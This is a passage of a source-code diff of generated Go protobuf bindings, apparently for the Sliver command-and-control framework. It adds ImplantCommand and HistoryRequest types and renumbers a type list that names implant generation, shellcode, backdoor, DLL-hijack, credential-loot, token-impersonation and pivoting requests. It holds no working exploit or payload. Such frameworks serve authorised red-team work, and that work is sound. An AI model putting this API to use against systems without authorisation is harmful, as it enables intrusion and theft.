- 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12,
- 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44,
- 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
- 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a,
- 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
- 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67,
- 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70,
- 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f,
- 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f,
- 0x33,
+ 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74,
+ 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61,
+ 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52,
+ 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
+ 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53,
+ 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
+ 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
+ 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73,
+ 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
+ 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b,
+ 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
+ 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65,
+ 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
+ 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53,
+ 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72,
+ 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a,
+ 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e,
+ 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e,
+ 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a,
+ 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74,
+ 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63,
+ 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72,
+ 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30,
+ 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
+ 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
+ 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
+ 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c,
+ 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
+ 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a,
+ 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
+ 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
+ 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
+ 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -704,577 +716,587 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq
(*sliverpb.ReconfigureReq)(nil), // 3: sliverpb.ReconfigureReq
(*clientpb.RenameReq)(nil), // 4: clientpb.RenameReq
- (*clientpb.MonitoringProvider)(nil), // 5: clientpb.MonitoringProvider
- (*clientpb.MTLSListenerReq)(nil), // 6: clientpb.MTLSListenerReq
- (*clientpb.WGListenerReq)(nil), // 7: clientpb.WGListenerReq
- (*clientpb.DNSListenerReq)(nil), // 8: clientpb.DNSListenerReq
- (*clientpb.HTTPListenerReq)(nil), // 9: clientpb.HTTPListenerReq
- (*clientpb.Beacon)(nil), // 10: clientpb.Beacon
- (*clientpb.BeaconTask)(nil), // 11: clientpb.BeaconTask
- (*clientpb.KillJobReq)(nil), // 12: clientpb.KillJobReq
- (*clientpb.RestartJobReq)(nil), // 13: clientpb.RestartJobReq
- (*clientpb.StagerListenerReq)(nil), // 14: clientpb.StagerListenerReq
- (*clientpb.Loot)(nil), // 15: clientpb.Loot
- (*clientpb.Credentials)(nil), // 16: clientpb.Credentials
- (*clientpb.Credential)(nil), // 17: clientpb.Credential
- (*clientpb.Host)(nil), // 18: clientpb.Host
- (*clientpb.IOC)(nil), // 19: clientpb.IOC
- (*clientpb.GenerateReq)(nil), // 20: clientpb.GenerateReq
- (*clientpb.ExternalGenerateReq)(nil), // 21: clientpb.ExternalGenerateReq
- (*clientpb.ExternalImplantBinary)(nil), // 22: clientpb.ExternalImplantBinary
- (*clientpb.ImplantBuild)(nil), // 23: clientpb.ImplantBuild
- (*clientpb.GenerateStageReq)(nil), // 24: clientpb.GenerateStageReq
- (*clientpb.ImplantStageReq)(nil), // 25: clientpb.ImplantStageReq
- (*clientpb.C2ProfileReq)(nil), // 26: clientpb.C2ProfileReq
- (*clientpb.HTTPC2ConfigReq)(nil), // 27: clientpb.HTTPC2ConfigReq
- (*clientpb.Builder)(nil), // 28: clientpb.Builder
- (*clientpb.Event)(nil), // 29: clientpb.Event
- (*clientpb.Crackstation)(nil), // 30: clientpb.Crackstation
- (*clientpb.CrackBenchmark)(nil), // 31: clientpb.CrackBenchmark
- (*clientpb.CrackTask)(nil), // 32: clientpb.CrackTask
- (*clientpb.CrackFile)(nil), // 33: clientpb.CrackFile
- (*clientpb.CrackFileChunk)(nil), // 34: clientpb.CrackFileChunk
- (*clientpb.RegenerateReq)(nil), // 35: clientpb.RegenerateReq
- (*clientpb.DeleteReq)(nil), // 36: clientpb.DeleteReq
- (*clientpb.ImplantProfile)(nil), // 37: clientpb.ImplantProfile
- (*clientpb.MsfStagerReq)(nil), // 38: clientpb.MsfStagerReq
- (*clientpb.ShellcodeRDIReq)(nil), // 39: clientpb.ShellcodeRDIReq
- (*clientpb.ShellcodeEncodeReq)(nil), // 40: clientpb.ShellcodeEncodeReq
- (*clientpb.TrafficEncoder)(nil), // 41: clientpb.TrafficEncoder
- (*clientpb.Website)(nil), // 42: clientpb.Website
- (*clientpb.WebsiteAddContent)(nil), // 43: clientpb.WebsiteAddContent
- (*clientpb.WebsiteRemoveContent)(nil), // 44: clientpb.WebsiteRemoveContent
- (*sliverpb.Ping)(nil), // 45: sliverpb.Ping
- (*sliverpb.PsReq)(nil), // 46: sliverpb.PsReq
- (*sliverpb.TerminateReq)(nil), // 47: sliverpb.TerminateReq
- (*sliverpb.IfconfigReq)(nil), // 48: sliverpb.IfconfigReq
- (*sliverpb.NetstatReq)(nil), // 49: sliverpb.NetstatReq
- (*sliverpb.LsReq)(nil), // 50: sliverpb.LsReq
- (*sliverpb.CdReq)(nil), // 51: sliverpb.CdReq
- (*sliverpb.PwdReq)(nil), // 52: sliverpb.PwdReq
- (*sliverpb.MvReq)(nil), // 53: sliverpb.MvReq
- (*sliverpb.CpReq)(nil), // 54: sliverpb.CpReq
- (*sliverpb.RmReq)(nil), // 55: sliverpb.RmReq
- (*sliverpb.MkdirReq)(nil), // 56: sliverpb.MkdirReq
- (*sliverpb.DownloadReq)(nil), // 57: sliverpb.DownloadReq
- (*sliverpb.UploadReq)(nil), // 58: sliverpb.UploadReq
- (*sliverpb.GrepReq)(nil), // 59: sliverpb.GrepReq
- (*sliverpb.ChmodReq)(nil), // 60: sliverpb.ChmodReq
- (*sliverpb.ChownReq)(nil), // 61: sliverpb.ChownReq
- (*sliverpb.ChtimesReq)(nil), // 62: sliverpb.ChtimesReq
- (*sliverpb.MemfilesListReq)(nil), // 63: sliverpb.MemfilesListReq
- (*sliverpb.MemfilesAddReq)(nil), // 64: sliverpb.MemfilesAddReq
- (*sliverpb.MemfilesRmReq)(nil), // 65: sliverpb.MemfilesRmReq
- (*sliverpb.ProcessDumpReq)(nil), // 66: sliverpb.ProcessDumpReq
- (*sliverpb.RunAsReq)(nil), // 67: sliverpb.RunAsReq
- (*sliverpb.ImpersonateReq)(nil), // 68: sliverpb.ImpersonateReq
- (*sliverpb.RevToSelfReq)(nil), // 69: sliverpb.RevToSelfReq
- (*clientpb.GetSystemReq)(nil), // 70: clientpb.GetSystemReq
- (*sliverpb.TaskReq)(nil), // 71: sliverpb.TaskReq
- (*clientpb.MSFReq)(nil), // 72: clientpb.MSFReq
- (*clientpb.MSFRemoteReq)(nil), // 73: clientpb.MSFRemoteReq
- (*sliverpb.ExecuteAssemblyReq)(nil), // 74: sliverpb.ExecuteAssemblyReq
- (*clientpb.MigrateReq)(nil), // 75: clientpb.MigrateReq
- (*sliverpb.ExecuteReq)(nil), // 76: sliverpb.ExecuteReq
- (*sliverpb.ExecuteWindowsReq)(nil), // 77: sliverpb.ExecuteWindowsReq
- (*sliverpb.SideloadReq)(nil), // 78: sliverpb.SideloadReq
- (*sliverpb.InvokeSpawnDllReq)(nil), // 79: sliverpb.InvokeSpawnDllReq
- (*sliverpb.ScreenshotReq)(nil), // 80: sliverpb.ScreenshotReq
- (*sliverpb.CurrentTokenOwnerReq)(nil), // 81: sliverpb.CurrentTokenOwnerReq
- (*sliverpb.PivotStartListenerReq)(nil), // 82: sliverpb.PivotStartListenerReq
- (*sliverpb.PivotStopListenerReq)(nil), // 83: sliverpb.PivotStopListenerReq
- (*sliverpb.PivotListenersReq)(nil), // 84: sliverpb.PivotListenersReq
- (*sliverpb.StartServiceReq)(nil), // 85: sliverpb.StartServiceReq
- (*sliverpb.StopServiceReq)(nil), // 86: sliverpb.StopServiceReq
- (*sliverpb.RemoveServiceReq)(nil), // 87: sliverpb.RemoveServiceReq
- (*sliverpb.MakeTokenReq)(nil), // 88: sliverpb.MakeTokenReq
- (*sliverpb.EnvReq)(nil), // 89: sliverpb.EnvReq
- (*sliverpb.SetEnvReq)(nil), // 90: sliverpb.SetEnvReq
- (*sliverpb.UnsetEnvReq)(nil), // 91: sliverpb.UnsetEnvReq
- (*clientpb.BackdoorReq)(nil), // 92: clientpb.BackdoorReq
- (*sliverpb.RegistryReadReq)(nil), // 93: sliverpb.RegistryReadReq
- (*sliverpb.RegistryWriteReq)(nil), // 94: sliverpb.RegistryWriteReq
- (*sliverpb.RegistryCreateKeyReq)(nil), // 95: sliverpb.RegistryCreateKeyReq
- (*sliverpb.RegistryDeleteKeyReq)(nil), // 96: sliverpb.RegistryDeleteKeyReq
- (*sliverpb.RegistrySubKeyListReq)(nil), // 97: sliverpb.RegistrySubKeyListReq
- (*sliverpb.RegistryListValuesReq)(nil), // 98: sliverpb.RegistryListValuesReq
- (*sliverpb.SSHCommandReq)(nil), // 99: sliverpb.SSHCommandReq
- (*clientpb.DllHijackReq)(nil), // 100: clientpb.DllHijackReq
- (*sliverpb.GetPrivsReq)(nil), // 101: sliverpb.GetPrivsReq
- (*sliverpb.RportFwdStartListenerReq)(nil), // 102: sliverpb.RportFwdStartListenerReq
- (*sliverpb.RportFwdListenersReq)(nil), // 103: sliverpb.RportFwdListenersReq
- (*sliverpb.RportFwdStopListenerReq)(nil), // 104: sliverpb.RportFwdStopListenerReq
- (*sliverpb.OpenSession)(nil), // 105: sliverpb.OpenSession
- (*sliverpb.CloseSession)(nil), // 106: sliverpb.CloseSession
- (*sliverpb.RegisterExtensionReq)(nil), // 107: sliverpb.RegisterExtensionReq
- (*sliverpb.CallExtensionReq)(nil), // 108: sliverpb.CallExtensionReq
- (*sliverpb.ListExtensionsReq)(nil), // 109: sliverpb.ListExtensionsReq
- (*sliverpb.RegisterWasmExtensionReq)(nil), // 110: sliverpb.RegisterWasmExtensionReq
- (*sliverpb.ListWasmExtensionsReq)(nil), // 111: sliverpb.ListWasmExtensionsReq
- (*sliverpb.ExecWasmExtensionReq)(nil), // 112: sliverpb.ExecWasmExtensionReq
- (*sliverpb.WGPortForwardStartReq)(nil), // 113: sliverpb.WGPortForwardStartReq
- (*sliverpb.WGPortForwardStopReq)(nil), // 114: sliverpb.WGPortForwardStopReq
- (*sliverpb.WGSocksStartReq)(nil), // 115: sliverpb.WGSocksStartReq
- (*sliverpb.WGSocksStopReq)(nil), // 116: sliverpb.WGSocksStopReq
- (*sliverpb.WGTCPForwardersReq)(nil), // 117: sliverpb.WGTCPForwardersReq
- (*sliverpb.WGSocksServersReq)(nil), // 118: sliverpb.WGSocksServersReq
- (*sliverpb.ShellReq)(nil), // 119: sliverpb.ShellReq
- (*sliverpb.PortfwdReq)(nil), // 120: sliverpb.PortfwdReq
- (*sliverpb.Socks)(nil), // 121: sliverpb.Socks
- (*sliverpb.SocksData)(nil), // 122: sliverpb.SocksData
- (*sliverpb.Tunnel)(nil), // 123: sliverpb.Tunnel
- (*sliverpb.TunnelData)(nil), // 124: sliverpb.TunnelData
- (*clientpb.Version)(nil), // 125: clientpb.Version
- (*clientpb.Operators)(nil), // 126: clientpb.Operators
- (*sliverpb.Reconfigure)(nil), // 127: sliverpb.Reconfigure
- (*clientpb.Sessions)(nil), // 128: clientpb.Sessions
- (*commonpb.Response)(nil), // 129: commonpb.Response
- (*clientpb.MonitoringProviders)(nil), // 130: clientpb.MonitoringProviders
- (*clientpb.ListenerJob)(nil), // 131: clientpb.ListenerJob
- (*clientpb.Beacons)(nil), // 132: clientpb.Beacons
- (*clientpb.BeaconTasks)(nil), // 133: clientpb.BeaconTasks
- (*clientpb.Jobs)(nil), // 134: clientpb.Jobs
- (*clientpb.KillJob)(nil), // 135: clientpb.KillJob
- (*clientpb.StagerListener)(nil), // 136: clientpb.StagerListener
- (*clientpb.AllLoot)(nil), // 137: clientpb.AllLoot
- (*clientpb.AllHosts)(nil), // 138: clientpb.AllHosts
- (*clientpb.Generate)(nil), // 139: clientpb.Generate
- (*clientpb.ExternalImplantConfig)(nil), // 140: clientpb.ExternalImplantConfig
- (*clientpb.HTTPC2Configs)(nil), // 141: clientpb.HTTPC2Configs
- (*clientpb.HTTPC2Config)(nil), // 142: clientpb.HTTPC2Config
- (*clientpb.Builders)(nil), // 143: clientpb.Builders
- (*clientpb.Crackstations)(nil), // 144: clientpb.Crackstations
- (*clientpb.CrackFiles)(nil), // 145: clientpb.CrackFiles
- (*clientpb.ImplantBuilds)(nil), // 146: clientpb.ImplantBuilds
- (*clientpb.Canaries)(nil), // 147: clientpb.Canaries
- (*clientpb.WGClientConfig)(nil), // 148: clientpb.WGClientConfig
- (*clientpb.UniqueWGIP)(nil), // 149: clientpb.UniqueWGIP
- (*clientpb.ImplantProfiles)(nil), // 150: clientpb.ImplantProfiles
- (*clientpb.MsfStager)(nil), // 151: clientpb.MsfStager
- (*clientpb.ShellcodeRDI)(nil), // 152: clientpb.ShellcodeRDI
- (*clientpb.Compiler)(nil), // 153: clientpb.Compiler
- (*clientpb.ShellcodeEncode)(nil), // 154: clientpb.ShellcodeEncode
- (*clientpb.ShellcodeEncoderMap)(nil), // 155: clientpb.ShellcodeEncoderMap
- (*clientpb.TrafficEncoderMap)(nil), // 156: clientpb.TrafficEncoderMap
- (*clientpb.TrafficEncoderTests)(nil), // 157: clientpb.TrafficEncoderTests
- (*clientpb.Websites)(nil), // 158: clientpb.Websites
- (*sliverpb.Ps)(nil), // 159: sliverpb.Ps
- (*sliverpb.Terminate)(nil), // 160: sliverpb.Terminate
- (*sliverpb.Ifconfig)(nil), // 161: sliverpb.Ifconfig
- (*sliverpb.Netstat)(nil), // 162: sliverpb.Netstat
- (*sliverpb.Ls)(nil), // 163: sliverpb.Ls
- (*sliverpb.Pwd)(nil), // 164: sliverpb.Pwd
- (*sliverpb.Mv)(nil), // 165: sliverpb.Mv
- (*sliverpb.Cp)(nil), // 166: sliverpb.Cp
- (*sliverpb.Rm)(nil), // 167: sliverpb.Rm
- (*sliverpb.Mkdir)(nil), // 168: sliverpb.Mkdir
- (*sliverpb.Download)(nil), // 169: sliverpb.Download
- (*sliverpb.Upload)(nil), // 170: sliverpb.Upload
- (*sliverpb.Grep)(nil), // 171: sliverpb.Grep
- (*sliverpb.Chmod)(nil), // 172: sliverpb.Chmod
- (*sliverpb.Chown)(nil), // 173: sliverpb.Chown
- (*sliverpb.Chtimes)(nil), // 174: sliverpb.Chtimes
- (*sliverpb.MemfilesAdd)(nil), // 175: sliverpb.MemfilesAdd
- (*sliverpb.MemfilesRm)(nil), // 176: sliverpb.MemfilesRm
- (*sliverpb.ProcessDump)(nil), // 177: sliverpb.ProcessDump
- (*sliverpb.RunAs)(nil), // 178: sliverpb.RunAs
- (*sliverpb.Impersonate)(nil), // 179: sliverpb.Impersonate
- (*sliverpb.RevToSelf)(nil), // 180: sliverpb.RevToSelf
- (*sliverpb.GetSystem)(nil), // 181: sliverpb.GetSystem
- (*sliverpb.Task)(nil), // 182: sliverpb.Task
- (*sliverpb.ExecuteAssembly)(nil), // 183: sliverpb.ExecuteAssembly
- (*sliverpb.Migrate)(nil), // 184: sliverpb.Migrate
- (*sliverpb.Execute)(nil), // 185: sliverpb.Execute
- (*sliverpb.Sideload)(nil), // 186: sliverpb.Sideload
- (*sliverpb.SpawnDll)(nil), // 187: sliverpb.SpawnDll
- (*sliverpb.Screenshot)(nil), // 188: sliverpb.Screenshot
- (*sliverpb.CurrentTokenOwner)(nil), // 189: sliverpb.CurrentTokenOwner
- (*sliverpb.PivotListener)(nil), // 190: sliverpb.PivotListener
- (*sliverpb.PivotListeners)(nil), // 191: sliverpb.PivotListeners
- (*clientpb.PivotGraph)(nil), // 192: clientpb.PivotGraph
- (*sliverpb.ServiceInfo)(nil), // 193: sliverpb.ServiceInfo
- (*sliverpb.MakeToken)(nil), // 194: sliverpb.MakeToken
- (*sliverpb.EnvInfo)(nil), // 195: sliverpb.EnvInfo
- (*sliverpb.SetEnv)(nil), // 196: sliverpb.SetEnv
- (*sliverpb.UnsetEnv)(nil), // 197: sliverpb.UnsetEnv
- (*clientpb.Backdoor)(nil), // 198: clientpb.Backdoor
- (*sliverpb.RegistryRead)(nil), // 199: sliverpb.RegistryRead
- (*sliverpb.RegistryWrite)(nil), // 200: sliverpb.RegistryWrite
- (*sliverpb.RegistryCreateKey)(nil), // 201: sliverpb.RegistryCreateKey
- (*sliverpb.RegistryDeleteKey)(nil), // 202: sliverpb.RegistryDeleteKey
- (*sliverpb.RegistrySubKeyList)(nil), // 203: sliverpb.RegistrySubKeyList
- (*sliverpb.RegistryValuesList)(nil), // 204: sliverpb.RegistryValuesList
- (*sliverpb.SSHCommand)(nil), // 205: sliverpb.SSHCommand
- (*clientpb.DllHijack)(nil), // 206: clientpb.DllHijack
- (*sliverpb.GetPrivs)(nil), // 207: sliverpb.GetPrivs
- (*sliverpb.RportFwdListener)(nil), // 208: sliverpb.RportFwdListener
- (*sliverpb.RportFwdListeners)(nil), // 209: sliverpb.RportFwdListeners
- (*sliverpb.RegisterExtension)(nil), // 210: sliverpb.RegisterExtension
- (*sliverpb.CallExtension)(nil), // 211: sliverpb.CallExtension
- (*sliverpb.ListExtensions)(nil), // 212: sliverpb.ListExtensions
- (*sliverpb.RegisterWasmExtension)(nil), // 213: sliverpb.RegisterWasmExtension
- (*sliverpb.ListWasmExtensions)(nil), // 214: sliverpb.ListWasmExtensions
- (*sliverpb.ExecWasmExtension)(nil), // 215: sliverpb.ExecWasmExtension
- (*sliverpb.WGPortForward)(nil), // 216: sliverpb.WGPortForward
- (*sliverpb.WGSocks)(nil), // 217: sliverpb.WGSocks
- (*sliverpb.WGTCPForwarders)(nil), // 218: sliverpb.WGTCPForwarders
- (*sliverpb.WGSocksServers)(nil), // 219: sliverpb.WGSocksServers
- (*sliverpb.Shell)(nil), // 220: sliverpb.Shell
- (*sliverpb.Portfwd)(nil), // 221: sliverpb.Portfwd
+ (*clientpb.ImplantCommand)(nil), // 5: clientpb.ImplantCommand
+ (*clientpb.HistoryRequest)(nil), // 6: clientpb.HistoryRequest
+ (*clientpb.MonitoringProvider)(nil), // 7: clientpb.MonitoringProvider
+ (*clientpb.MTLSListenerReq)(nil), // 8: clientpb.MTLSListenerReq
+ (*clientpb.WGListenerReq)(nil), // 9: clientpb.WGListenerReq
+ (*clientpb.DNSListenerReq)(nil), // 10: clientpb.DNSListenerReq
+ (*clientpb.HTTPListenerReq)(nil), // 11: clientpb.HTTPListenerReq
+ (*clientpb.Beacon)(nil), // 12: clientpb.Beacon
+ (*clientpb.BeaconTask)(nil), // 13: clientpb.BeaconTask
+ (*clientpb.KillJobReq)(nil), // 14: clientpb.KillJobReq
+ (*clientpb.RestartJobReq)(nil), // 15: clientpb.RestartJobReq
+ (*clientpb.StagerListenerReq)(nil), // 16: clientpb.StagerListenerReq
+ (*clientpb.Loot)(nil), // 17: clientpb.Loot
+ (*clientpb.Credentials)(nil), // 18: clientpb.Credentials
+ (*clientpb.Credential)(nil), // 19: clientpb.Credential
+ (*clientpb.Host)(nil), // 20: clientpb.Host
+ (*clientpb.IOC)(nil), // 21: clientpb.IOC
+ (*clientpb.GenerateReq)(nil), // 22: clientpb.GenerateReq
+ (*clientpb.ExternalGenerateReq)(nil), // 23: clientpb.ExternalGenerateReq
+ (*clientpb.ExternalImplantBinary)(nil), // 24: clientpb.ExternalImplantBinary
+ (*clientpb.ImplantBuild)(nil), // 25: clientpb.ImplantBuild
+ (*clientpb.GenerateStageReq)(nil), // 26: clientpb.GenerateStageReq
+ (*clientpb.ImplantStageReq)(nil), // 27: clientpb.ImplantStageReq
+ (*clientpb.C2ProfileReq)(nil), // 28: clientpb.C2ProfileReq
+ (*clientpb.HTTPC2ConfigReq)(nil), // 29: clientpb.HTTPC2ConfigReq
+ (*clientpb.Builder)(nil), // 30: clientpb.Builder
+ (*clientpb.Event)(nil), // 31: clientpb.Event
+ (*clientpb.Crackstation)(nil), // 32: clientpb.Crackstation
+ (*clientpb.CrackBenchmark)(nil), // 33: clientpb.CrackBenchmark
